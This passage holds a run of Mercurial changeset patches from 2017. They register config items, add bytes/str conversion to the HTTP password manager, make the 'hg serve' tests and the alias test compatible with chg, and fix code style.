+configitem('experimental', 'histeditng',
+    default=False,
+)
 configitem('histedit', 'defaultrev',
     default=configitems.dynamicdefault,
 )
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498787028 -7200
#      Fri Jun 30 03:43:48 2017 +0200
# Node ID 9d78dfc78d931dca9352847ff8a13d507683263f
# Parent  272b83a6b59142612ac8dd044eaa691355467100
configitems: register the 'phases.new-commit' config

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -317,6 +317,9 @@
 coreconfigitem('phases', 'checksubrepos',
     default='follow',
 )
+coreconfigitem('phases', 'new-commit',
+    default=dynamicdefault,
+)
 coreconfigitem('phases', 'publish',
     default=True,
 )
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498787064 -7200
#      Fri Jun 30 03:44:24 2017 +0200
# Node ID a27718efb290f914e057392dd0e58b373d6e6492
# Parent  9d78dfc78d931dca9352847ff8a13d507683263f
configitems: register the 'smtp.port' config

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -428,6 +428,9 @@
 coreconfigitem('smtp', 'password',
     default=None,
 )
+coreconfigitem('smtp', 'port',
+    default=dynamicdefault,
+)
 coreconfigitem('smtp', 'tls',
     default='none',
 )
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498786750 -7200
#      Fri Jun 30 03:39:10 2017 +0200
# Node ID ef303daefdf77ff14b934ecc5225eb6670419675
# Parent  a27718efb290f914e057392dd0e58b373d6e6492
configitems: register the 'email.from' config

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -146,6 +146,9 @@
 coreconfigitem('email', 'charsets',
     default=list,
 )
+coreconfigitem('email', 'from',
+    default=None,
+)
 coreconfigitem('email', 'method',
     default='smtp',
 )
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498786993 -7200
#      Fri Jun 30 03:43:13 2017 +0200
# Node ID 99c3dee3f6cea9f33606d853ed809b8e2cc23de4
# Parent  ef303daefdf77ff14b934ecc5225eb6670419675
configitems: register the 'merge.preferancestor' config

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -302,6 +302,9 @@
 coreconfigitem('merge', 'followcopies',
     default=True,
 )
+coreconfigitem('merge', 'preferancestor',
+        default=lambda: ['*'],
+)
 coreconfigitem('pager', 'ignore',
     default=list,
 )
diff --git a/mercurial/context.py b/mercurial/context.py
--- a/mercurial/context.py
+++ b/mercurial/context.py
@@ -659,7 +659,7 @@
             anc = cahs[0]
         else:
             # experimental config: merge.preferancestor
-            for r in self._repo.ui.configlist('merge', 'preferancestor', ['*']):
+            for r in self._repo.ui.configlist('merge', 'preferancestor'):
                 try:
                     ctx = changectx(self._repo, r)
                 except error.RepoLookupError:
diff --git a/mercurial/merge.py b/mercurial/merge.py
--- a/mercurial/merge.py
+++ b/mercurial/merge.py
@@ -1566,7 +1566,7 @@
 
         p2 = repo[node]
         if pas[0] is None:
-            if repo.ui.configlist('merge', 'preferancestor', ['*']) == ['*']:
+            if repo.ui.configlist('merge', 'preferancestor') == ['*']:
                 cahs = repo.changelog.commonancestorsheads(p1.node(), p2.node())
                 pas = [repo[anc] for anc in (sorted(cahs) or [nullid])]
             else:
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1498786625 -7200
#      Fri Jun 30 03:37:05 2017 +0200
# Node ID cbda631c1dde2b701e4c8d0a878aedbaa6ac453c
# Parent  99c3dee3f6cea9f33606d853ed809b8e2cc23de4
configitems: register the 'debug.dirstate.delaywrite' config

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -107,6 +107,9 @@
 coreconfigitem('commands', 'update.requiredest',
     default=False,
 )
+coreconfigitem('debug', 'dirstate.delaywrite',
+    default=0,
+)
 coreconfigitem('devel', 'all-warnings',
     default=False,
 )
diff --git a/mercurial/dirstate.py b/mercurial/dirstate.py
--- a/mercurial/dirstate.py
+++ b/mercurial/dirstate.py
@@ -766,7 +766,7 @@
 
         # enough 'delaywrite' prevents 'pack_dirstate' from dropping
         # timestamp of each entries in dirstate, because of 'now > mtime'
-        delaywrite = self._ui.configint('debug', 'dirstate.delaywrite', 0)
+        delaywrite = self._ui.configint('debug', 'dirstate.delaywrite')
         if delaywrite > 0:
             # do we have any files to delay for?
             for f, e in self._map.iteritems():
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1506874248 14400
#      Sun Oct 01 12:10:48 2017 -0400
# Node ID 75de5d456b606d911b5f7ae842c6ae21f17fe605
# Parent  cbda631c1dde2b701e4c8d0a878aedbaa6ac453c
ui: convert to/from Optional[bytes] to Optional[str] in password manager

This password manager proxy is roughly the right-looking layer to
convert between strings and bytes. Many of these arguments can be
None, so we have a helper method to make the conversion preserve Nones
without exploding.

Differential Revision: https://phab.mercurial-scm.org/D886

diff --git a/mercurial/ui.py b/mercurial/ui.py
--- a/mercurial/ui.py
+++ b/mercurial/ui.py
@@ -135,6 +135,15 @@
 """,
 }
 
+def _maybestrurl(maybebytes):
+    if maybebytes is None:
+        return None
+    return pycompat.strurl(maybebytes)
+
+def _maybebytesurl(maybestr):
+    if maybestr is None:
+        return None
+    return pycompat.bytesurl(maybestr)
 
 class httppasswordmgrdbproxy(object):
     """Delays loading urllib2 until it's needed."""
@@ -147,10 +156,18 @@
         return self._mgr
 
     def add_password(self, realm, uris, user, passwd):
-        return self._get_mgr().add_password(realm, uris, user, passwd)
+        if isinstance(uris, tuple):
+            uris = tuple(_maybestrurl(u) for u in uris)
+        else:
+            uris = _maybestrurl(uris)
+        return self._get_mgr().add_password(
+            _maybestrurl(realm), uris,
+            _maybestrurl(user), _maybestrurl(passwd))
 
     def find_user_password(self, realm, uri):
-        return self._get_mgr().find_user_password(realm, uri)
+        return tuple(_maybebytesurl(v) for v in
+                     self._get_mgr().find_user_password(_maybestrurl(realm),
+                                                        _maybestrurl(uri)))
 
 def _catchterm(*args):
     raise error.SignalInterrupt
# HG changeset patch
# User Saurabh Singh <singhsrb@fb.com>
# Date 1507167566 25200
#      Wed Oct 04 18:39:26 2017 -0700
# Node ID a6d95a8b7243635279cce9b36413aef72d5fa70b
# Parent  75de5d456b606d911b5f7ae842c6ae21f17fe605
serve: make tests compatible with chg

chg only supports 'hg serve' when the options to the serve command
follow the 'hg serve'. For example, 'hg -R <repo> serve ..' is unsupported.
This leads to issues with chg running for the following tests:

 - test-bundle2-exchange.t
 - test-clone-uncompressed.t
 - test-hgweb-csp.t
 - test-http-bad-server.t
 - test-http-bundle1.t
 - test-http-protocol.t
 - test-http.t

There was an effort made earlier to fix this issue for chg and the tests were
fixed to confirm to the compatible pattern. But the new tests did not take care
of the same and hence, fail. Hopefully, there will be continuous build setup
for chg after all tests are made compatible with chg so that we can avoid such
issues.

Test Plan:
Ran the aforementioned tests with and without '--chg' option.

Differential Revision: https://phab.mercurial-scm.org/D946

diff --git a/tests/test-bundle2-exchange.t b/tests/test-bundle2-exchange.t
--- a/tests/test-bundle2-exchange.t
+++ b/tests/test-bundle2-exchange.t
@@ -1029,7 +1029,7 @@
   > [server]
   > bundle1 = false
   > EOF
-  $ hg -R bundle2onlyserver serve -p $HGPORT -d --pid-file=hg.pid
+  $ hg serve -R bundle2onlyserver -p $HGPORT -d --pid-file=hg.pid
   $ cat hg.pid >> $DAEMON_PIDS
   $ hg --config devel.legacy.exchange=bundle1 clone http://localhost:$HGPORT not-bundle2
   requesting all changes
@@ -1053,7 +1053,7 @@
   > [server]
   > bundle1gd = false
   > EOF
-  $ hg -R bundle2onlyserver serve -p $HGPORT -d --pid-file=hg.pid
+  $ hg serve -R bundle2onlyserver -p $HGPORT -d --pid-file=hg.pid
   $ cat hg.pid >> $DAEMON_PIDS
 
   $ hg --config devel.legacy.exchange=bundle1 clone http://localhost:$HGPORT/ not-bundle2
diff --git a/tests/test-clone-uncompressed.t b/tests/test-clone-uncompressed.t
--- a/tests/test-clone-uncompressed.t
+++ b/tests/test-clone-uncompressed.t
@@ -74,7 +74,7 @@
 Streaming of secrets can be overridden by server config
 
   $ cd server
-  $ hg --config server.uncompressedallowsecret=true serve -p $HGPORT -d --pid-file=hg.pid
+  $ hg serve --config server.uncompressedallowsecret=true -p $HGPORT -d --pid-file=hg.pid
   $ cat hg.pid > $DAEMON_PIDS
   $ cd ..
 
@@ -90,7 +90,7 @@
 Verify interaction between preferuncompressed and secret presence
 
   $ cd server
-  $ hg --config server.preferuncompressed=true serve -p $HGPORT -d --pid-file=hg.pid
+  $ hg serve --config server.preferuncompressed=true -p $HGPORT -d --pid-file=hg.pid
   $ cat hg.pid > $DAEMON_PIDS
   $ cd ..
 
@@ -106,7 +106,7 @@
 Clone not allowed when full bundles disabled and can't serve secrets
 
   $ cd server
-  $ hg --config server.disablefullbundle=true serve -p $HGPORT -d --pid-file=hg.pid
+  $ hg serve --config server.disablefullbundle=true -p $HGPORT -d --pid-file=hg.pid
   $ cat hg.pid > $DAEMON_PIDS
   $ cd ..
 
@@ -154,7 +154,7 @@
   $ touch repo/f1
   $ $TESTDIR/seq.py 50000 > repo/f2
   $ hg -R repo ci -Aqm "0"
-  $ hg -R repo serve -p $HGPORT1 -d --pid-file=hg.pid --config extensions.delayer=delayer.py
+  $ hg serve -R repo -p $HGPORT1 -d --pid-file=hg.pid --config extensions.delayer=delayer.py
   $ cat hg.pid >> $DAEMON_PIDS
 
 clone while modifying the repo between stating file with write lock and
diff --git a/tests/test-hgweb-csp.t b/tests/test-hgweb-csp.t
--- a/tests/test-hgweb-csp.t
+++ b/tests/test-hgweb-csp.t
@@ -110,7 +110,7 @@
 
   $ killdaemons.py
 
-  $ hg -R repo1 serve -p $HGPORT -d --pid-file=hg.pid --config "web.csp=image-src 'self'; script-src https://example.com/ 'nonce-%nonce%'"
+  $ hg serve -R repo1 -p $HGPORT -d --pid-file=hg.pid --config "web.csp=image-src 'self'; script-src https://example.com/ 'nonce-%nonce%'"
   $ cat hg.pid > $DAEMON_PIDS
 
 static page sends CSP
diff --git a/tests/test-http-bad-server.t b/tests/test-http-bad-server.t
--- a/tests/test-http-bad-server.t
+++ b/tests/test-http-bad-server.t
@@ -32,7 +32,7 @@
 
 Failure to accept() socket should result in connection related error message
 
-  $ hg --config badserver.closebeforeaccept=true serve -p $HGPORT -d --pid-file=hg.pid
+  $ hg serve --config badserver.closebeforeaccept=true -p $HGPORT -d --pid-file=hg.pid
   $ cat hg.pid > $DAEMON_PIDS
 
   $ hg clone http://localhost:$HGPORT/ clone
@@ -47,7 +47,7 @@
 
 Failure immediately after accept() should yield connection related error message
 
-  $ hg --config badserver.closeafteraccept=true serve -p $HGPORT -d --pid-file=hg.pid
+  $ hg serve --config badserver.closeafteraccept=true -p $HGPORT -d --pid-file=hg.pid
   $ cat hg.pid > $DAEMON_PIDS
 
 TODO: this usually outputs good results, but sometimes emits abort:
@@ -67,7 +67,7 @@
 
 Failure to read all bytes in initial HTTP request should yield connection related error message
 
-  $ hg --config badserver.closeafterrecvbytes=1 serve -p $HGPORT -d --pid-file=hg.pid -E error.log
+  $ hg serve --config badserver.closeafterrecvbytes=1 -p $HGPORT -d --pid-file=hg.pid -E error.log
   $ cat hg.pid > $DAEMON_PIDS
 
   $ hg clone http://localhost:$HGPORT/ clone
@@ -84,7 +84,7 @@
 
 Same failure, but server reads full HTTP request line
 
-  $ hg --config badserver.closeafterrecvbytes=40 serve -p $HGPORT -d --pid-file=hg.pid -E error.log
+  $ hg serve --config badserver.closeafterrecvbytes=40 -p $HGPORT -d --pid-file=hg.pid -E error.log
   $ cat hg.pid > $DAEMON_PIDS
   $ hg clone http://localhost:$HGPORT/ clone
   abort: error: bad HTTP status line: ''
@@ -101,7 +101,7 @@
 
 Failure on subsequent HTTP request on the same socket (cmd?batch)
 
-  $ hg --config badserver.closeafterrecvbytes=210 serve -p $HGPORT -d --pid-file=hg.pid -E error.log
+  $ hg serve --config badserver.closeafterrecvbytes=210 -p $HGPORT -d --pid-file=hg.pid -E error.log
   $ cat hg.pid > $DAEMON_PIDS
   $ hg clone http://localhost:$HGPORT/ clone
   abort: error: bad HTTP status line: ''
@@ -139,7 +139,7 @@
 
 Failure to read getbundle HTTP request
 
-  $ hg --config badserver.closeafterrecvbytes=292 serve -p $HGPORT -d --pid-file=hg.pid -E error.log
+  $ hg serve --config badserver.closeafterrecvbytes=292 -p $HGPORT -d --pid-file=hg.pid -E error.log
   $ cat hg.pid > $DAEMON_PIDS
   $ hg clone http://localhost:$HGPORT/ clone
   requesting all changes
@@ -196,7 +196,7 @@
 
 Now do a variation using POST to send arguments
 
-  $ hg --config experimental.httppostargs=true --config badserver.closeafterrecvbytes=315 serve -p $HGPORT -d --pid-file=hg.pid -E error.log
+  $ hg serve --config experimental.httppostargs=true --config badserver.closeafterrecvbytes=315 -p $HGPORT -d --pid-file=hg.pid -E error.log
   $ cat hg.pid > $DAEMON_PIDS
 
   $ hg clone http://localhost:$HGPORT/ clone
@@ -247,7 +247,7 @@
 
 Server sends a single character from the HTTP response line
 
-  $ hg --config badserver.closeaftersendbytes=1 serve -p $HGPORT -d --pid-file=hg.pid -E error.log
+  $ hg serve --config badserver.closeaftersendbytes=1 -p $HGPORT -d --pid-file=hg.pid -E error.log
   $ cat hg.pid > $DAEMON_PIDS
 
   $ hg clone http://localhost:$HGPORT/ clone
@@ -271,7 +271,7 @@
 
 Server sends an incomplete capabilities response body
 
-  $ hg --config badserver.closeaftersendbytes=180 serve -p $HGPORT -d --pid-file=hg.pid -E error.log
+  $ hg serve --config badserver.closeaftersendbytes=180 -p $HGPORT -d --pid-file=hg.pid -E error.log
   $ cat hg.pid > $DAEMON_PIDS
 
   $ hg clone http://localhost:$HGPORT/ clone
@@ -301,7 +301,7 @@
 
 Server sends incomplete headers for batch request
 
-  $ hg --config badserver.closeaftersendbytes=695 serve -p $HGPORT -d --pid-file=hg.pid -E error.log
+  $ hg serve --config badserver.closeaftersendbytes=695 -p $HGPORT -d --pid-file=hg.pid -E error.log
   $ cat hg.pid > $DAEMON_PIDS
 
 TODO this output is horrible
@@ -350,12 +350,17 @@
 
 Server sends an incomplete HTTP response body to batch request
 
-  $ hg --config badserver.closeaftersendbytes=760 serve -p $HGPORT -d --pid-file=hg.pid -E error.log
+  $ hg serve --config badserver.closeaftersendbytes=760 -p $HGPORT -d --pid-file=hg.pid -E error.log
   $ cat hg.pid > $DAEMON_PIDS
 
 TODO client spews a stack due to uncaught ValueError in batch.results()
+#if no-chg
   $ hg clone http://localhost:$HGPORT/ clone 2> /dev/null
   [1]
+#else
+  $ hg clone http://localhost:$HGPORT/ clone 2> /dev/null
+  [255]
+#endif
 
   $ killdaemons.py $DAEMON_PIDS
 
@@ -395,7 +400,7 @@
 
 Server sends incomplete headers for getbundle response
 
-  $ hg --config badserver.closeaftersendbytes=895 serve -p $HGPORT -d --pid-file=hg.pid -E error.log
+  $ hg serve --config badserver.closeaftersendbytes=895 -p $HGPORT -d --pid-file=hg.pid -E error.log
   $ cat hg.pid > $DAEMON_PIDS
 
 TODO this output is terrible
@@ -461,7 +466,7 @@
 
 Server sends empty HTTP body for getbundle
 
-  $ hg --config badserver.closeaftersendbytes=933 serve -p $HGPORT -d --pid-file=hg.pid -E error.log
+  $ hg serve --config badserver.closeaftersendbytes=933 -p $HGPORT -d --pid-file=hg.pid -E error.log
   $ cat hg.pid > $DAEMON_PIDS
 
   $ hg clone http://localhost:$HGPORT/ clone
@@ -524,7 +529,7 @@
 
 Server sends partial compression string
 
-  $ hg --config badserver.closeaftersendbytes=945 serve -p $HGPORT -d --pid-file=hg.pid -E error.log
+  $ hg serve --config badserver.closeaftersendbytes=945 -p $HGPORT -d --pid-file=hg.pid -E error.log
   $ cat hg.pid > $DAEMON_PIDS
 
   $ hg clone http://localhost:$HGPORT/ clone
@@ -589,7 +594,7 @@
 
 Server sends partial bundle2 header magic
 
-  $ hg --config badserver.closeaftersendbytes=954 serve -p $HGPORT -d --pid-file=hg.pid -E error.log
+  $ hg serve --config badserver.closeaftersendbytes=954 -p $HGPORT -d --pid-file=hg.pid -E error.log
   $ cat hg.pid > $DAEMON_PIDS
 
   $ hg clone http://localhost:$HGPORT/ clone
@@ -613,7 +618,7 @@
 
 Server sends incomplete bundle2 stream params length
 
-  $ hg --config badserver.closeaftersendbytes=963 serve -p $HGPORT -d --pid-file=hg.pid -E error.log
+  $ hg serve --config badserver.closeaftersendbytes=963 -p $HGPORT -d --pid-file=hg.pid -E error.log
   $ cat hg.pid > $DAEMON_PIDS
 
   $ hg clone http://localhost:$HGPORT/ clone
@@ -638,7 +643,7 @@
 
 Servers stops after bundle2 stream params header
 
-  $ hg --config badserver.closeaftersendbytes=966 serve -p $HGPORT -d --pid-file=hg.pid -E error.log
+  $ hg serve --config badserver.closeaftersendbytes=966 -p $HGPORT -d --pid-file=hg.pid -E error.log
   $ cat hg.pid > $DAEMON_PIDS
 
   $ hg clone http://localhost:$HGPORT/ clone
@@ -663,7 +668,7 @@
 
 Server stops sending after bundle2 part header length
 
-  $ hg --config badserver.closeaftersendbytes=975 serve -p $HGPORT -d --pid-file=hg.pid -E error.log
+  $ hg serve --config badserver.closeaftersendbytes=975 -p $HGPORT -d --pid-file=hg.pid -E error.log
   $ cat hg.pid > $DAEMON_PIDS
 
   $ hg clone http://localhost:$HGPORT/ clone
@@ -689,7 +694,7 @@
 
 Server stops sending after bundle2 part header
 
-  $ hg --config badserver.closeaftersendbytes=1022 serve -p $HGPORT -d --pid-file=hg.pid -E error.log
+  $ hg serve --config badserver.closeaftersendbytes=1022 -p $HGPORT -d --pid-file=hg.pid -E error.log
   $ cat hg.pid > $DAEMON_PIDS
 
   $ hg clone http://localhost:$HGPORT/ clone
@@ -719,7 +724,7 @@
 
 Server stops after bundle2 part payload chunk size
 
-  $ hg --config badserver.closeaftersendbytes=1031 serve -p $HGPORT -d --pid-file=hg.pid -E error.log
+  $ hg serve --config badserver.closeaftersendbytes=1031 -p $HGPORT -d --pid-file=hg.pid -E error.log
   $ cat hg.pid > $DAEMON_PIDS
 
   $ hg clone http://localhost:$HGPORT/ clone
@@ -750,7 +755,7 @@
 
 Server stops sending in middle of bundle2 payload chunk
 
-  $ hg --config badserver.closeaftersendbytes=1504 serve -p $HGPORT -d --pid-file=hg.pid -E error.log
+  $ hg serve --config badserver.closeaftersendbytes=1504 -p $HGPORT -d --pid-file=hg.pid -E error.log
   $ cat hg.pid > $DAEMON_PIDS
 
   $ hg clone http://localhost:$HGPORT/ clone
@@ -782,7 +787,7 @@
 
 Server stops sending after 0 length payload chunk size
 
-  $ hg --config badserver.closeaftersendbytes=1513 serve -p $HGPORT -d --pid-file=hg.pid -E error.log
+  $ hg serve --config badserver.closeaftersendbytes=1513 -p $HGPORT -d --pid-file=hg.pid -E error.log
   $ cat hg.pid > $DAEMON_PIDS
 
   $ hg clone http://localhost:$HGPORT/ clone
@@ -819,7 +824,7 @@
 Server stops sending after 0 part bundle part header (indicating end of bundle2 payload)
 This is before the 0 size chunked transfer part that signals end of HTTP response.
 
-  $ hg --config badserver.closeaftersendbytes=1710 serve -p $HGPORT -d --pid-file=hg.pid -E error.log
+  $ hg serve --config badserver.closeaftersendbytes=1710 -p $HGPORT -d --pid-file=hg.pid -E error.log
   $ cat hg.pid > $DAEMON_PIDS
 
   $ hg clone http://localhost:$HGPORT/ clone
@@ -862,7 +867,7 @@
 
 Server sends a size 0 chunked-transfer size without terminating \r\n
 
-  $ hg --config badserver.closeaftersendbytes=1713 serve -p $HGPORT -d --pid-file=hg.pid -E error.log
+  $ hg serve --config badserver.closeaftersendbytes=1713 -p $HGPORT -d --pid-file=hg.pid -E error.log
   $ cat hg.pid > $DAEMON_PIDS
 
   $ hg clone http://localhost:$HGPORT/ clone
diff --git a/tests/test-http-bundle1.t b/tests/test-http-bundle1.t
--- a/tests/test-http-bundle1.t
+++ b/tests/test-http-bundle1.t
@@ -357,7 +357,7 @@
 Check error reporting while pulling/cloning
 
   $ $RUNTESTDIR/killdaemons.py
-  $ hg -R test serve -p $HGPORT -d --pid-file=hg3.pid -E error.log --config extensions.crash=${TESTDIR}/crashgetbundler.py
+  $ hg serve -R test -p $HGPORT -d --pid-file=hg3.pid -E error.log --config extensions.crash=${TESTDIR}/crashgetbundler.py
   $ cat hg3.pid >> $DAEMON_PIDS
   $ hg clone http://localhost:$HGPORT/ abort-clone
   requesting all changes
@@ -368,7 +368,7 @@
 
 disable pull-based clones
 
-  $ hg -R test serve -p $HGPORT1 -d --pid-file=hg4.pid -E error.log --config server.disablefullbundle=True
+  $ hg serve -R test -p $HGPORT1 -d --pid-file=hg4.pid -E error.log --config server.disablefullbundle=True
   $ cat hg4.pid >> $DAEMON_PIDS
   $ hg clone http://localhost:$HGPORT1/ disable-pull-clone
   requesting all changes
diff --git a/tests/test-http-protocol.t b/tests/test-http-protocol.t
--- a/tests/test-http-protocol.t
+++ b/tests/test-http-protocol.t
@@ -10,7 +10,7 @@
   $ hg -q commit -A -m initial
   $ cd ..
 
-  $ hg -R server serve -p $HGPORT -d --pid-file hg.pid
+  $ hg serve -R server -p $HGPORT -d --pid-file hg.pid
   $ cat hg.pid >> $DAEMON_PIDS
 
 compression formats are advertised in compression capability
@@ -25,7 +25,7 @@
 
 server.compressionengines can replace engines list wholesale
 
-  $ hg --config server.compressionengines=none -R server serve -p $HGPORT -d --pid-file hg.pid
+  $ hg serve --config server.compressionengines=none -R server -p $HGPORT -d --pid-file hg.pid
   $ cat hg.pid > $DAEMON_PIDS
   $ get-with-headers.py $LOCALIP:$HGPORT '?cmd=capabilities' | tr ' ' '\n' | grep '^compression=none$' > /dev/null
 
@@ -33,7 +33,7 @@
 
 Order of engines can also change
 
-  $ hg --config server.compressionengines=none,zlib -R server serve -p $HGPORT -d --pid-file hg.pid
+  $ hg serve --config server.compressionengines=none,zlib -R server -p $HGPORT -d --pid-file hg.pid
   $ cat hg.pid > $DAEMON_PIDS
   $ get-with-headers.py $LOCALIP:$HGPORT '?cmd=capabilities' | tr ' ' '\n' | grep '^compression=none,zlib$' > /dev/null
 
@@ -41,7 +41,7 @@
 
 Start a default server again
 
-  $ hg -R server serve -p $HGPORT -d --pid-file hg.pid
+  $ hg serve -R server -p $HGPORT -d --pid-file hg.pid
   $ cat hg.pid > $DAEMON_PIDS
 
 Server should send application/mercurial-0.1 to clients if no Accept is used
@@ -113,7 +113,7 @@
 Now test protocol preference usage
 
   $ killdaemons.py
-  $ hg --config server.compressionengines=none,zlib -R server serve -p $HGPORT -d --pid-file hg.pid
+  $ hg serve --config server.compressionengines=none,zlib -R server -p $HGPORT -d --pid-file hg.pid
   $ cat hg.pid > $DAEMON_PIDS
 
 No Accept will send 0.1+zlib, even though "none" is preferred b/c "none" isn't supported on 0.1
diff --git a/tests/test-http.t b/tests/test-http.t
--- a/tests/test-http.t
+++ b/tests/test-http.t
@@ -345,7 +345,7 @@
 check abort error reporting while pulling/cloning
 
   $ $RUNTESTDIR/killdaemons.py
-  $ hg -R test serve -p $HGPORT -d --pid-file=hg3.pid -E error.log --config extensions.crash=${TESTDIR}/crashgetbundler.py
+  $ hg serve -R test -p $HGPORT -d --pid-file=hg3.pid -E error.log --config extensions.crash=${TESTDIR}/crashgetbundler.py
   $ cat hg3.pid >> $DAEMON_PIDS
   $ hg clone http://localhost:$HGPORT/ abort-clone
   requesting all changes
@@ -356,7 +356,7 @@
 
 disable pull-based clones
 
-  $ hg -R test serve -p $HGPORT1 -d --pid-file=hg4.pid -E error.log --config server.disablefullbundle=True
+  $ hg serve -R test -p $HGPORT1 -d --pid-file=hg4.pid -E error.log --config server.disablefullbundle=True
   $ cat hg4.pid >> $DAEMON_PIDS
   $ hg clone http://localhost:$HGPORT1/ disable-pull-clone
   requesting all changes
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1506988138 25200
#      Mon Oct 02 16:48:58 2017 -0700
# Node ID a8a9c0d3232b342ae873c4214e8f24c580a509ad
# Parent  a6d95a8b7243635279cce9b36413aef72d5fa70b
test-alias: make it compatible with chg

ad1bdea (dispatch: defer environment variable resolution in alias commands
(BC), 2016-05-06) made environment variables lazily resolved. But after
D805 (alias: make alias command lazily resolved 2017-09-23), alias
resolution happened after uisetup, which breaks the test for chg.

`uisetup` is known to behave different in chg. Let's verify the feature
without using `*setup`.

Differential Revision: https://phab.mercurial-scm.org/D912

diff --git a/tests/test-alias.t b/tests/test-alias.t
--- a/tests/test-alias.t
+++ b/tests/test-alias.t
@@ -527,21 +527,29 @@
 
 environment variable changes in alias commands
 
-  $ cat > $TESTTMP/setcount.py <<EOF
+  $ cat > $TESTTMP/expandalias.py <<EOF
   > import os
-  > def uisetup(ui):
+  > from mercurial import cmdutil, commands, registrar
+  > cmdtable = {}
+  > command = registrar.command(cmdtable)
+  > @command('expandalias')
+  > def expandalias(ui, repo, name):
+  >     alias = cmdutil.findcmd(name, commands.table)[1][0]
+  >     ui.write('%s args: %s\n' % (name, ' '.join(alias.args)))
   >     os.environ['COUNT'] = '2'
+  >     ui.write('%s args: %s (with COUNT=2)\n' % (name, ' '.join(alias.args)))
   > EOF
 
   $ cat >> $HGRCPATH <<'EOF'
   > [extensions]
-  > setcount = $TESTTMP/setcount.py
+  > expandalias = $TESTTMP/expandalias.py
   > [alias]
-  > showcount = log -T "$COUNT\n" -r .
+  > showcount = log -T "$COUNT" -r .
   > EOF
 
-  $ COUNT=1 hg showcount
-  2
+  $ COUNT=1 hg expandalias showcount
+  showcount args: -T 1 -r .
+  showcount args: -T 2 -r . (with COUNT=2)
 
 This should show id:
 
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1506997511 25200
#      Mon Oct 02 19:25:11 2017 -0700
# Node ID 37b7581e57370dedc130eb64c31294a3bc8ca53d
# Parent  a8a9c0d3232b342ae873c4214e8f24c580a509ad
eol: make [eol] config section sensitive for chg confighash

The eol extension may mangle the [eol] config section and that means chg is
unable to detect config file change (because it re-applies setconfig
changes).

This makes test-eol.t pass with chg.

Differential Revision: https://phab.mercurial-scm.org/D917

diff --git a/mercurial/chgserver.py b/mercurial/chgserver.py
--- a/mercurial/chgserver.py
+++ b/mercurial/chgserver.py
@@ -68,6 +68,7 @@
 # sensitive config sections affecting confighash
 _configsections = [
     'alias',  # affects global state commands.table
+    'eol',    # uses setconfig('eol', ...)
     'extdiff',  # uisetup will register new commands
     'extensions',
 ]
# HG changeset patch
# User Alex Gaynor <agaynor@mozilla.com>
# Date 1506700114 0
#      Fri Sep 29 15:48:34 2017 +0000
# Node ID a57c938e7ac8f391a62de6c7c4d5cf0e81b2dcf4
# Parent  37b7581e57370dedc130eb64c31294a3bc8ca53d
style: never use a space before a colon or comma

Differential Revision: https://phab.mercurial-scm.org/D954

diff --git a/mercurial/color.py b/mercurial/color.py
--- a/mercurial/color.py
+++ b/mercurial/color.py
@@ -95,9 +95,9 @@
     'diff.inserted': 'green',
     'diff.tab': '',
     'diff.trailingwhitespace': 'bold red_background',
-    'changeset.public' : '',
-    'changeset.draft' : '',
-    'changeset.secret' : '',
+    'changeset.public': '',
+    'changeset.draft': '',
+    'changeset.secret': '',
     'diffstat.deleted': 'red',
     'diffstat.inserted': 'green',
     'histedit.remaining': 'red bold',
diff --git a/mercurial/commandserver.py b/mercurial/commandserver.py
--- a/mercurial/commandserver.py
+++ b/mercurial/commandserver.py
@@ -272,8 +272,8 @@
 
         return cmd != ''
 
-    capabilities = {'runcommand'  : runcommand,
-                    'getencoding' : getencoding}
+    capabilities = {'runcommand': runcommand,
+                    'getencoding': getencoding}
 
     def serve(self):
         hellomsg = 'capabilities: ' + ' '.join(sorted(self.capabilities))
diff --git a/mercurial/dispatch.py b/mercurial/dispatch.py
--- a/mercurial/dispatch.py
+++ b/mercurial/dispatch.py
@@ -243,10 +243,10 @@
         try:
             debugger = 'pdb'
             debugtrace = {
-                'pdb' : pdb.set_trace
+                'pdb': pdb.set_trace
             }
             debugmortem = {
-                'pdb' : pdb.post_mortem
+                'pdb': pdb.post_mortem
             }
 
             # read --config before doing anything else
diff --git a/mercurial/hgweb/hgwebdir_mod.py b/mercurial/hgweb/hgwebdir_mod.py
--- a/mercurial/hgweb/hgwebdir_mod.py
+++ b/mercurial/hgweb/hgwebdir_mod.py
@@ -320,7 +320,7 @@
             for typ, spec in hgweb_mod.archivespecs.iteritems():
                 if typ in allowed or ui.configbool("web", "allow" + typ,
                                                     untrusted=True):
-                    archives.append({"type" : typ, "extension": spec[2],
+                    archives.append({"type": typ, "extension": spec[2],
                                      "node": nodeid, "url": url})
             return archives
 
diff --git a/mercurial/hgweb/wsgicgi.py b/mercurial/hgweb/wsgicgi.py
--- a/mercurial/hgweb/wsgicgi.py
+++ b/mercurial/hgweb/wsgicgi.py
@@ -87,4 +87,4 @@
         if not headers_sent:
             write('')   # send headers now if body was empty
     finally:
-        getattr(content, 'close', lambda : None)()
+        getattr(content, 'close', lambda: None)()
diff --git a/mercurial/httppeer.py b/mercurial/httppeer.py
--- a/mercurial/httppeer.py
+++ b/mercurial/httppeer.py
@@ -151,7 +151,7 @@
         if urlopener:
             for h in urlopener.handlers:
                 h.close()
-                getattr(h, "close_all", lambda : None)()
+                getattr(h, "close_all", lambda: None)()
 
     # Begin of _basepeer interface.
 
diff --git a/mercurial/merge.py b/mercurial/merge.py
--- a/mercurial/merge.py
+++ b/mercurial/merge.py
@@ -419,7 +419,7 @@
                            fca.path(), hex(fca.filenode()),
                            fco.path(), hex(fco.filenode()),
